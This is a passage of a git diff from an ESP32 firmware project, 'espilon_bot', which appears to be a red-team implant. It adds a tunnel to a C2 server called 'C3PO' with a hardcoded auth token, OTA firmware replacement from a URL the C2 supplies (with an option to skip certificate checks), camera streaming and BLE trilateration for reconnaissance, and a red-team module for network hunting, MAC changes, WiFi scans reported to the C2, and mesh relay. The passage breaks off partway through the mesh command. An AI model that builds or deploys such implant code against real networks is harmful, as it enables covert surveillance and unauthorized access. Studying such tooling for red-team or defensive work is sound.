close(g_tun.c3po_sock);
|
||||
g_tun.c3po_sock = -1;
|
||||
}
|
||||
g_tun.rx_buf_len = 0;
|
||||
|
||||
/* If stopped intentionally, exit */
|
||||
if (!g_tun.running) break;
|
||||
|
||||
/* Reconnect with exponential backoff */
|
||||
ESP_LOGW(TAG, "reconnecting in %"PRIu32"ms...", backoff_ms);
|
||||
vTaskDelay(pdMS_TO_TICKS(backoff_ms));
|
||||
|
||||
if (!g_tun.running) break;
|
||||
|
||||
int s = tun_connect_and_auth();
|
||||
if (s >= 0) {
|
||||
g_tun.c3po_sock = s;
|
||||
g_tun.rx_buf_len = 0;
|
||||
memset(g_tun.channels, 0, sizeof(g_tun.channels));
|
||||
for (int i = 0; i < TUN_MAX_CHANNELS; i++)
|
||||
g_tun.channels[i].sock = -1;
|
||||
|
||||
backoff_ms = TUN_RECONNECT_MIN_MS; /* Reset on success */
|
||||
ESP_LOGI(TAG, "tunnel reconnected");
|
||||
} else {
|
||||
/* Exponential backoff: double, cap at max */
|
||||
backoff_ms *= 2;
|
||||
if (backoff_ms > TUN_RECONNECT_MAX_MS)
|
||||
backoff_ms = TUN_RECONNECT_MAX_MS;
|
||||
ESP_LOGW(TAG, "reconnect failed, next attempt in %"PRIu32"ms",
|
||||
backoff_ms);
|
||||
}
|
||||
}
|
||||
|
||||
/* Final cleanup */
|
||||
chan_close_all();
|
||||
if (g_tun.c3po_sock >= 0) {
|
||||
close(g_tun.c3po_sock);
|
||||
g_tun.c3po_sock = -1;
|
||||
}
|
||||
g_tun.running = false;
|
||||
g_tun.rx_buf_len = 0;
|
||||
|
||||
msg_info(TAG, "tunnel stopped", req_id);
|
||||
|
||||
/* Free heap-allocated request_id */
|
||||
if (req_id) free((void *)req_id);
|
||||
|
||||
g_tun.task_handle = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
bool tun_start(const char *c3po_ip, int c3po_port, const char *req_id)
|
||||
{
|
||||
if (g_tun.running) return false;
|
||||
|
||||
/* Store address for reconnect */
|
||||
snprintf(g_tun.c3po_ip, sizeof(g_tun.c3po_ip), "%s", c3po_ip);
|
||||
g_tun.c3po_port = c3po_port;
|
||||
|
||||
/* Initial connection with retry loop */
|
||||
int s = -1;
|
||||
for (int retry = 0; retry < TUN_MAX_RETRY; retry++) {
|
||||
ESP_LOGI(TAG, "connecting to %s:%d (attempt %d)...",
|
||||
c3po_ip, c3po_port, retry + 1);
|
||||
|
||||
s = tun_connect_and_auth();
|
||||
if (s >= 0) break;
|
||||
|
||||
vTaskDelay(pdMS_TO_TICKS(TUN_RETRY_DELAY_MS));
|
||||
}
|
||||
|
||||
if (s < 0) {
|
||||
msg_error(TAG, "unable to connect to tunnel server", req_id);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Initialize state */
|
||||
g_tun.c3po_sock = s;
|
||||
g_tun.rx_buf_len = 0;
|
||||
g_tun.running = true;
|
||||
|
||||
#ifdef CONFIG_TUNNEL_ENCRYPT
|
||||
g_tun.encrypted = true;
|
||||
#else
|
||||
g_tun.encrypted = false;
|
||||
#endif
|
||||
|
||||
memset(g_tun.channels, 0, sizeof(g_tun.channels));
|
||||
for (int i = 0; i < TUN_MAX_CHANNELS; i++) {
|
||||
g_tun.channels[i].sock = -1;
|
||||
}
|
||||
|
||||
/* Heap-copy request_id for the task (freed inside tun_task) */
|
||||
char *req_copy = req_id ? strdup(req_id) : NULL;
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
tun_task,
|
||||
"tun_task",
|
||||
CONFIG_TUNNEL_TASK_STACK,
|
||||
req_copy,
|
||||
5,
|
||||
&g_tun.task_handle,
|
||||
1 /* Core 1 */
|
||||
);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void tun_stop(void)
|
||||
{
|
||||
g_tun.running = false;
|
||||
/* Task will exit on next select() timeout and clean up */
|
||||
}
|
||||
|
||||
bool tun_is_running(void)
|
||||
{
|
||||
return g_tun.running;
|
||||
}
|
||||
|
||||
void tun_get_status(char *buf, size_t buf_len)
|
||||
{
|
||||
if (!g_tun.running) {
|
||||
snprintf(buf, buf_len, "tunnel=stopped");
|
||||
return;
|
||||
}
|
||||
|
||||
int open_chans = 0;
|
||||
uint32_t total_tx = 0, total_rx = 0;
|
||||
|
||||
for (int i = 0; i < TUN_MAX_CHANNELS; i++) {
|
||||
if (g_tun.channels[i].state == CHAN_OPEN) {
|
||||
open_chans++;
|
||||
total_tx += g_tun.channels[i].bytes_tx;
|
||||
total_rx += g_tun.channels[i].bytes_rx;
|
||||
}
|
||||
}
|
||||
|
||||
snprintf(buf, buf_len,
|
||||
"tunnel=running channels=%d/%d tx=%"PRIu32" rx=%"PRIu32" enc=%s",
|
||||
open_chans, TUN_MAX_CHANNELS,
|
||||
total_tx, total_rx,
|
||||
g_tun.encrypted ? "aead" : "plain");
|
||||
}
|
||||
126
espilon_bot/components/mod_network/tun_core.h
Normal file
126
espilon_bot/components/mod_network/tun_core.h
Normal file
@ -0,0 +1,126 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#include "sdkconfig.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
/* ============================================================
|
||||
* Tuneable constants (Kconfig overrides)
|
||||
* ============================================================ */
|
||||
|
||||
#ifndef CONFIG_TUNNEL_MAX_CHANNELS
|
||||
#define CONFIG_TUNNEL_MAX_CHANNELS 8
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_TUNNEL_FRAME_MAX
|
||||
#define CONFIG_TUNNEL_FRAME_MAX 4096
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_TUNNEL_TASK_STACK
|
||||
#define CONFIG_TUNNEL_TASK_STACK 6144
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* Protocol constants
|
||||
* ============================================================ */
|
||||
|
||||
#define TUN_MAX_CHANNELS CONFIG_TUNNEL_MAX_CHANNELS
|
||||
#define TUN_FRAME_MAX_DATA CONFIG_TUNNEL_FRAME_MAX
|
||||
#define TUN_FRAME_HDR_SIZE 5 /* chan_id(2) + type(1) + length(2) */
|
||||
#define TUN_FRAME_MAX_PLAIN (TUN_FRAME_HDR_SIZE + TUN_FRAME_MAX_DATA)
|
||||
|
||||
/* Crypto overhead: nonce(12) + tag(16) */
|
||||
#define TUN_CRYPTO_NONCE_LEN 12
|
||||
#define TUN_CRYPTO_TAG_LEN 16
|
||||
#define TUN_CRYPTO_OVERHEAD (TUN_CRYPTO_NONCE_LEN + TUN_CRYPTO_TAG_LEN)
|
||||
|
||||
/* Encrypted frame: 2-byte length prefix + nonce + encrypted(header+data) + tag */
|
||||
#define TUN_FRAME_MAX_ENC (2 + TUN_FRAME_MAX_PLAIN + TUN_CRYPTO_OVERHEAD)
|
||||
|
||||
/* RX buffer must hold the largest possible frame */
|
||||
#define TUN_RX_BUF_SIZE TUN_FRAME_MAX_ENC
|
||||
|
||||
/* Timeouts & limits */
|
||||
#define TUN_CONNECT_TIMEOUT_S 5
|
||||
#define TUN_SELECT_TIMEOUT_MS 100
|
||||
#define TUN_MAX_RETRY 10
|
||||
#define TUN_RETRY_DELAY_MS 5000
|
||||
#define TUN_PING_INTERVAL_S 30
|
||||
#define TUN_OPEN_TIMEOUT_S 10
|
||||
|
||||
/* Reconnect backoff (exponential: min -> min*2 -> ... -> max) */
|
||||
#define TUN_RECONNECT_MIN_MS 1000
|
||||
#define TUN_RECONNECT_MAX_MS 30000
|
||||
|
||||
/* Authentication */
|
||||
#define TUN_MAGIC "TUN\x01"
|
||||
#define TUN_MAGIC_LEN 4
|
||||
#define TUN_AUTH_TOKEN "espilon-tunnel-v1"
|
||||
#define TUN_AUTH_TOKEN_LEN 17
|
||||
|
||||
/* ============================================================
|
||||
* Frame types
|
||||
* ============================================================ */
|
||||
|
||||
typedef enum {
|
||||
TUN_FRAME_OPEN = 0x01,
|
||||
TUN_FRAME_OPEN_OK = 0x02,
|
||||
TUN_FRAME_DATA = 0x03,
|
||||
TUN_FRAME_CLOSE = 0x04,
|
||||
TUN_FRAME_ERROR = 0x05,
|
||||
TUN_FRAME_PING = 0x06,
|
||||
TUN_FRAME_PONG = 0x07,
|
||||
} tun_frame_type_t;
|
||||
|
||||
/* Close reasons */
|
||||
#define TUN_CLOSE_NORMAL 0
|
||||
#define TUN_CLOSE_RESET 1
|
||||
#define TUN_CLOSE_TIMEOUT 2
|
||||
|
||||
/* ============================================================
|
||||
* Channel state
|
||||
* ============================================================ */
|
||||
|
||||
typedef enum {
|
||||
CHAN_FREE = 0,
|
||||
CHAN_CONNECTING,
|
||||
CHAN_OPEN,
|
||||
CHAN_CLOSING,
|
||||
} tun_chan_state_t;
|
||||
|
||||
typedef struct {
|
||||
tun_chan_state_t state;
|
||||
int sock; /* Target-side TCP socket, -1 if free */
|
||||
uint32_t bytes_tx;
|
||||
uint32_t bytes_rx;
|
||||
} tun_channel_t;
|
||||
|
||||
/* ============================================================
|
||||
* Global tunnel state
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
volatile bool running;
|
||||
bool encrypted; /* Per-frame AEAD mode */
|
||||
int c3po_sock; /* Socket to C3PO tunnel server */
|
||||
tun_channel_t channels[TUN_MAX_CHANNELS];
|
||||
uint8_t rx_buf[TUN_RX_BUF_SIZE];
|
||||
size_t rx_buf_len; /* Bytes buffered (partial frame) */
|
||||
TaskHandle_t task_handle;
|
||||
uint32_t last_ping_tick; /* For keepalive */
|
||||
char c3po_ip[48]; /* Stored for reconnect */
|
||||
int c3po_port; /* Stored for reconnect */
|
||||
} tun_state_t;
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
bool tun_start(const char *c3po_ip, int c3po_port, const char *req_id);
|
||||
void tun_stop(void);
|
||||
bool tun_is_running(void);
|
||||
void tun_get_status(char *buf, size_t buf_len);
|
||||
5
espilon_bot/components/mod_ota/CMakeLists.txt
Normal file
5
espilon_bot/components/mod_ota/CMakeLists.txt
Normal file
@ -0,0 +1,5 @@
|
||||
idf_component_register(
|
||||
SRCS cmd_ota.c
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES core esp_https_ota app_update esp_http_client mbedtls
|
||||
)
|
||||
159
espilon_bot/components/mod_ota/cmd_ota.c
Normal file
159
espilon_bot/components/mod_ota/cmd_ota.c
Normal file
@ -0,0 +1,159 @@
|
||||
/*
|
||||
* cmd_ota.c
|
||||
* OTA firmware update commands (HTTPS + cert bundle)
|
||||
* Compiled as empty when CONFIG_ESPILON_OTA_ENABLED is not set.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_ESPILON_OTA_ENABLED
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_system.h"
|
||||
#include "esp_ota_ops.h"
|
||||
#include "esp_https_ota.h"
|
||||
#include "esp_http_client.h"
|
||||
#include "esp_crt_bundle.h"
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "OTA"
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: ota_update <url> (async)
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_ota_update(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)ctx;
|
||||
|
||||
const char *url = argv[0];
|
||||
char buf[256];
|
||||
|
||||
snprintf(buf, sizeof(buf), "url=%s", url);
|
||||
msg_info(TAG, buf, req);
|
||||
|
||||
esp_http_client_config_t http_config = {
|
||||
.url = url,
|
||||
#ifdef CONFIG_ESPILON_OTA_ALLOW_HTTP
|
||||
.skip_cert_common_name_check = true,
|
||||
#else
|
||||
.crt_bundle_attach = esp_crt_bundle_attach,
|
||||
#endif
|
||||
.timeout_ms = 30000,
|
||||
.keep_alive_enable = true,
|
||||
};
|
||||
|
||||
esp_https_ota_config_t ota_config = {
|
||||
.http_config = &http_config,
|
||||
};
|
||||
|
||||
esp_https_ota_handle_t ota_handle = NULL;
|
||||
esp_err_t err = esp_https_ota_begin(&ota_config, &ota_handle);
|
||||
if (err != ESP_OK) {
|
||||
snprintf(buf, sizeof(buf), "begin_failed=%s", esp_err_to_name(err));
|
||||
msg_error(TAG, buf, req);
|
||||
return err;
|
||||
}
|
||||
|
||||
int total_size = esp_https_ota_get_image_size(ota_handle);
|
||||
int last_pct = -1;
|
||||
|
||||
while (1) {
|
||||
err = esp_https_ota_perform(ota_handle);
|
||||
if (err != ESP_ERR_HTTPS_OTA_IN_PROGRESS) break;
|
||||
|
||||
if (total_size > 0) {
|
||||
int bytes_read = esp_https_ota_get_image_len_read(ota_handle);
|
||||
int pct = (bytes_read * 100) / total_size;
|
||||
if (pct / 10 != last_pct / 10) {
|
||||
last_pct = pct;
|
||||
snprintf(buf, sizeof(buf), "progress=%d%%", pct);
|
||||
msg_info(TAG, buf, req);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (err != ESP_OK) {
|
||||
snprintf(buf, sizeof(buf), "download_failed=%s", esp_err_to_name(err));
|
||||
msg_error(TAG, buf, req);
|
||||
esp_https_ota_abort(ota_handle);
|
||||
return err;
|
||||
}
|
||||
|
||||
err = esp_https_ota_finish(ota_handle);
|
||||
if (err != ESP_OK) {
|
||||
if (err == ESP_ERR_OTA_VALIDATE_FAILED) {
|
||||
msg_error(TAG, "validate_failed=image_corrupted", req);
|
||||
} else {
|
||||
snprintf(buf, sizeof(buf), "finish_failed=%s", esp_err_to_name(err));
|
||||
msg_error(TAG, buf, req);
|
||||
}
|
||||
return err;
|
||||
}
|
||||
|
||||
msg_info(TAG, "status=success rebooting=true", req);
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
esp_restart();
|
||||
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: ota_status
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_ota_status(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
const esp_partition_t *running = esp_ota_get_running_partition();
|
||||
const esp_partition_t *boot = esp_ota_get_boot_partition();
|
||||
|
||||
esp_app_desc_t app_desc;
|
||||
esp_ota_get_partition_description(running, &app_desc);
|
||||
|
||||
char buf[256];
|
||||
snprintf(buf, sizeof(buf),
|
||||
"partition=%s boot=%s version=%s idf=%s",
|
||||
running ? running->label : "?",
|
||||
boot ? boot->label : "?",
|
||||
app_desc.version,
|
||||
app_desc.idf_ver
|
||||
);
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND REGISTRATION
|
||||
* ============================================================ */
|
||||
static const command_t ota_cmds[] = {
|
||||
{ "ota_update", NULL, "OTA update from HTTPS URL", 1, 1, cmd_ota_update, NULL, true },
|
||||
{ "ota_status", NULL, "Current firmware info", 0, 0, cmd_ota_status, NULL, false },
|
||||
};
|
||||
|
||||
void mod_ota_register_commands(void)
|
||||
{
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registering OTA commands");
|
||||
|
||||
for (size_t i = 0; i < sizeof(ota_cmds) / sizeof(ota_cmds[0]); i++) {
|
||||
command_register(&ota_cmds[i]);
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_ESPILON_OTA_ENABLED */
|
||||
3
espilon_bot/components/mod_ota/cmd_ota.h
Normal file
3
espilon_bot/components/mod_ota/cmd_ota.h
Normal file
@ -0,0 +1,3 @@
|
||||
#pragma once
|
||||
|
||||
void mod_ota_register_commands(void);
|
||||
@ -1,13 +1,36 @@
|
||||
idf_component_register(
|
||||
SRCS
|
||||
"mod_cam.c"
|
||||
# "mod_trilat.c" # Disabled for now - needs BT config
|
||||
INCLUDE_DIRS
|
||||
"."
|
||||
REQUIRES
|
||||
command
|
||||
esp_wifi
|
||||
nvs_flash
|
||||
esp_http_client
|
||||
espressif__esp32-camera
|
||||
)
|
||||
set(RECON_SRCS "")
|
||||
|
||||
if(CONFIG_RECON_MODE_CAMERA)
|
||||
list(APPEND RECON_SRCS "mod_cam.c")
|
||||
endif()
|
||||
|
||||
if(CONFIG_RECON_MODE_MLAT)
|
||||
list(APPEND RECON_SRCS "mod_mlat.c")
|
||||
endif()
|
||||
|
||||
# mod_trilat.c: legacy BLE trilateration (requires full BT stack)
|
||||
# Uncomment if needed with CONFIG_BT_ENABLED=y
|
||||
# list(APPEND RECON_SRCS "mod_trilat.c")
|
||||
|
||||
if(NOT RECON_SRCS)
|
||||
# No active recon sub-modules — register as header-only component
|
||||
idf_component_register(
|
||||
INCLUDE_DIRS "."
|
||||
)
|
||||
else()
|
||||
set(RECON_REQUIRES core esp_wifi nvs_flash)
|
||||
|
||||
if(CONFIG_RECON_MODE_CAMERA)
|
||||
list(APPEND RECON_REQUIRES esp_http_client espressif__esp32-camera)
|
||||
endif()
|
||||
|
||||
if(CONFIG_RECON_MODE_MLAT)
|
||||
list(APPEND RECON_REQUIRES esp_timer)
|
||||
endif()
|
||||
|
||||
idf_component_register(
|
||||
SRCS ${RECON_SRCS}
|
||||
INCLUDE_DIRS "."
|
||||
REQUIRES ${RECON_REQUIRES}
|
||||
)
|
||||
endif()
|
||||
|
||||
@ -16,7 +16,7 @@
|
||||
#include <errno.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#include "command.h"
|
||||
#include "esp_heap_caps.h"
|
||||
#include "utils.h"
|
||||
|
||||
/* ============================================================
|
||||
@ -84,11 +84,20 @@ static bool init_camera(void)
|
||||
.pixel_format = PIXFORMAT_JPEG,
|
||||
.frame_size = FRAMESIZE_QQVGA,
|
||||
.jpeg_quality = 20,
|
||||
.fb_count = 2,
|
||||
.fb_location = CAMERA_FB_IN_PSRAM,
|
||||
.fb_count = 1,
|
||||
.fb_location = CAMERA_FB_IN_DRAM,
|
||||
.grab_mode = CAMERA_GRAB_LATEST
|
||||
};
|
||||
|
||||
/* Use PSRAM if available (requires bootloader with SPIRAM support) */
|
||||
if (heap_caps_get_total_size(MALLOC_CAP_SPIRAM) > 0) {
|
||||
cfg.fb_location = CAMERA_FB_IN_PSRAM;
|
||||
cfg.fb_count = 2;
|
||||
ESP_LOGI(TAG, "PSRAM available, using 2 frame buffers");
|
||||
} else {
|
||||
ESP_LOGW(TAG, "No PSRAM, using DRAM with 1 frame buffer");
|
||||
}
|
||||
|
||||
if (esp_camera_init(&cfg) != ESP_OK) {
|
||||
msg_error(TAG, "camera init failed", NULL);
|
||||
return false;
|
||||
@ -125,9 +134,8 @@ static void udp_stream_task(void *arg)
|
||||
frame_count++;
|
||||
size_t num_chunks = (fb->len + MAX_UDP_SIZE - 1) / MAX_UDP_SIZE;
|
||||
|
||||
/* DEBUG: Log frame info every 10 frames */
|
||||
if (frame_count % 10 == 1) {
|
||||
ESP_LOGI(TAG, "frame #%lu: %u bytes, %u chunks, sock=%d",
|
||||
ESP_LOGD(TAG, "frame #%lu: %u bytes, %u chunks, sock=%d",
|
||||
frame_count, fb->len, num_chunks, udp_sock);
|
||||
}
|
||||
|
||||
|
||||
@ -45,7 +45,6 @@
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_event.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
|
||||
#if defined(CONFIG_RECON_MODE_MLAT)
|
||||
|
||||
@ -17,7 +17,6 @@
|
||||
|
||||
#include "esp_http_client.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
|
||||
/* ============================================================
|
||||
@ -186,7 +185,7 @@ static void ble_init(void)
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_trilat_start(int argc, char **argv, const char *request_id, void *ctx)
|
||||
{
|
||||
if (argc != 4)
|
||||
if (argc != 3)
|
||||
return msg_error(TAG, "usage: trilat start <mac> <url> <bearer>", request_id);
|
||||
|
||||
if (trilat_running)
|
||||
@ -194,11 +193,11 @@ static esp_err_t cmd_trilat_start(int argc, char **argv, const char *request_id,
|
||||
|
||||
ESP_ERROR_CHECK(nvs_flash_init());
|
||||
|
||||
if (!parse_mac_str(argv[1], target_mac))
|
||||
if (!parse_mac_str(argv[0], target_mac))
|
||||
return msg_error(TAG, "invalid MAC", request_id);
|
||||
|
||||
strncpy(target_url, argv[2], MAX_LEN-1);
|
||||
strncpy(auth_bearer, argv[3], MAX_LEN-1);
|
||||
strncpy(target_url, argv[1], MAX_LEN-1);
|
||||
strncpy(auth_bearer, argv[2], MAX_LEN-1);
|
||||
snprintf(auth_header, sizeof(auth_header), "Bearer %s", auth_bearer);
|
||||
|
||||
if (!buffer_mutex)
|
||||
@ -238,8 +237,8 @@ static const command_t cmd_trilat_start_def = {
|
||||
.handler = cmd_trilat_start,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
.min_args = 4,
|
||||
.max_args = 4
|
||||
.min_args = 3,
|
||||
.max_args = 3
|
||||
};
|
||||
|
||||
static const command_t cmd_trilat_stop_def = {
|
||||
@ -249,8 +248,8 @@ static const command_t cmd_trilat_stop_def = {
|
||||
.handler = cmd_trilat_stop,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
.min_args = 2,
|
||||
.max_args = 2
|
||||
.min_args = 0,
|
||||
.max_args = 0
|
||||
};
|
||||
|
||||
void mod_ble_trilat_register_commands(void)
|
||||
|
||||
5
espilon_bot/components/mod_redteam/CMakeLists.txt
Normal file
5
espilon_bot/components/mod_redteam/CMakeLists.txt
Normal file
@ -0,0 +1,5 @@
|
||||
idf_component_register(
|
||||
SRCS cmd_redteam.c rt_config.c rt_hunt.c rt_stealth.c rt_captive.c rt_mesh.c
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES core nvs_flash lwip esp_wifi freertos esp_timer
|
||||
)
|
||||
319
espilon_bot/components/mod_redteam/cmd_redteam.c
Normal file
319
espilon_bot/components/mod_redteam/cmd_redteam.c
Normal file
@ -0,0 +1,319 @@
|
||||
/*
|
||||
* cmd_redteam.c
|
||||
* Red Team resilient connectivity — 7 C2 commands.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "cmd_redteam.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "utils.h"
|
||||
|
||||
#include "rt_config.h"
|
||||
#include "rt_hunt.h"
|
||||
#include "rt_stealth.h"
|
||||
#include "rt_mesh.h"
|
||||
|
||||
#define TAG "RT"
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_hunt [auto]
|
||||
* Start the hunt. "auto" = enable auto-trigger on TCP failure.
|
||||
* ============================================================ */
|
||||
static int cmd_rt_hunt(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (rt_hunt_is_active()) {
|
||||
msg_info(TAG, "Hunt already running", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
rt_hunt_trigger();
|
||||
msg_info(TAG, "Hunt started", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_stop
|
||||
* Stop hunt, restore WiFi + MAC + TX power.
|
||||
* ============================================================ */
|
||||
static int cmd_rt_stop(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
if (!rt_hunt_is_active()) {
|
||||
msg_info(TAG, "Hunt not running", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
rt_hunt_stop();
|
||||
msg_info(TAG, "Hunt stopped, WiFi restored", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_status
|
||||
* Report state, SSID, method, MAC, TX power.
|
||||
* ============================================================ */
|
||||
static int cmd_rt_status(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
rt_state_t state = rt_hunt_get_state();
|
||||
uint8_t mac[6];
|
||||
rt_stealth_get_current_mac(mac);
|
||||
|
||||
char buf[256];
|
||||
snprintf(buf, sizeof(buf),
|
||||
"state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X"
|
||||
" nets=%d c2_fb=%d mesh=%s",
|
||||
rt_hunt_state_name(state),
|
||||
rt_hunt_connected_ssid(),
|
||||
rt_hunt_connected_method(),
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5],
|
||||
rt_config_net_count(),
|
||||
rt_config_c2_count(),
|
||||
rt_mesh_is_running() ? "on" : "off");
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_scan
|
||||
* WiFi scan + report results to C2 (recon).
|
||||
* ============================================================ */
|
||||
static int cmd_rt_scan(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
msg_info(TAG, "Passive scan starting...", req);
|
||||
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
int found = rt_stealth_passive_scan(3000);
|
||||
|
||||
rt_scan_ap_t aps[RT_MAX_SCAN_APS];
|
||||
int count = rt_stealth_get_scan_results(aps, RT_MAX_SCAN_APS);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char line[128];
|
||||
snprintf(line, sizeof(line),
|
||||
"AP: %s ch=%d rssi=%d auth=%d bssid=%02X:%02X:%02X:%02X:%02X:%02X",
|
||||
aps[i].ssid, aps[i].channel, aps[i].rssi, aps[i].auth_mode,
|
||||
aps[i].bssid[0], aps[i].bssid[1], aps[i].bssid[2],
|
||||
aps[i].bssid[3], aps[i].bssid[4], aps[i].bssid[5]);
|
||||
msg_data(TAG, line, strlen(line), (i == count - 1), req);
|
||||
}
|
||||
|
||||
char summary[64];
|
||||
snprintf(summary, sizeof(summary), "Scan done: %d APs found", found);
|
||||
msg_info(TAG, summary, req);
|
||||
#else
|
||||
msg_info(TAG, "Stealth not enabled, using active scan", req);
|
||||
/* TODO: fallback to esp_wifi_scan_start() */
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_net_add <ssid> <pass>
|
||||
* Add/update a known network. Pass "" to remove.
|
||||
* ============================================================ */
|
||||
static int cmd_rt_net_add(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (argc < 1) {
|
||||
msg_error(TAG, "usage: rt_net_add <ssid> [pass]", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
const char *ssid = argv[0];
|
||||
const char *pass = (argc >= 2) ? argv[1] : "";
|
||||
|
||||
/* Empty string for pass means "remove" */
|
||||
if (argc >= 2 && strcmp(pass, "\"\"") == 0) {
|
||||
if (rt_config_net_remove(ssid)) {
|
||||
char buf[96];
|
||||
snprintf(buf, sizeof(buf), "Removed network '%s'", ssid);
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "Network not found", req);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (rt_config_net_add(ssid, pass)) {
|
||||
char buf[96];
|
||||
snprintf(buf, sizeof(buf), "Added network '%s'", ssid);
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "Failed to add network (full?)", req);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_net_list
|
||||
* List known networks.
|
||||
* ============================================================ */
|
||||
static int cmd_rt_net_list(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS];
|
||||
int count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS);
|
||||
|
||||
if (count == 0) {
|
||||
msg_info(TAG, "No known networks", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char line[128];
|
||||
snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s",
|
||||
i, nets[i].ssid,
|
||||
nets[i].pass[0] ? "***" : "(open)");
|
||||
msg_data(TAG, line, strlen(line), (i == count - 1), req);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_mesh <start|stop>
|
||||
* Enable/disable ESP-NOW mesh relay.
|
||||
* ============================================================ */
|
||||
static int cmd_rt_mesh(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (argc < 1) {
|
||||
msg_error(TAG, "usage: rt_mesh <start|stop>", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
#ifdef CONFIG_RT_MESH
|
||||
if (strcmp(argv[0], "start") == 0) {
|
||||
if (rt_mesh_is_running()) {
|
||||
msg_info(TAG, "Mesh already running", req);
|
||||
} else if (rt_mesh_start()) {
|
||||
msg_info(TAG, "Mesh relay started", req);
|
||||
} else {
|
||||
msg_error(TAG, "Mesh start failed", req);
|
||||
}
|
||||
} else if (strcmp(argv[0], "stop") == 0) {
|
||||
rt_mesh_stop();
|
||||
msg_info(TAG, "Mesh relay stopped", req);
|
||||
} else {
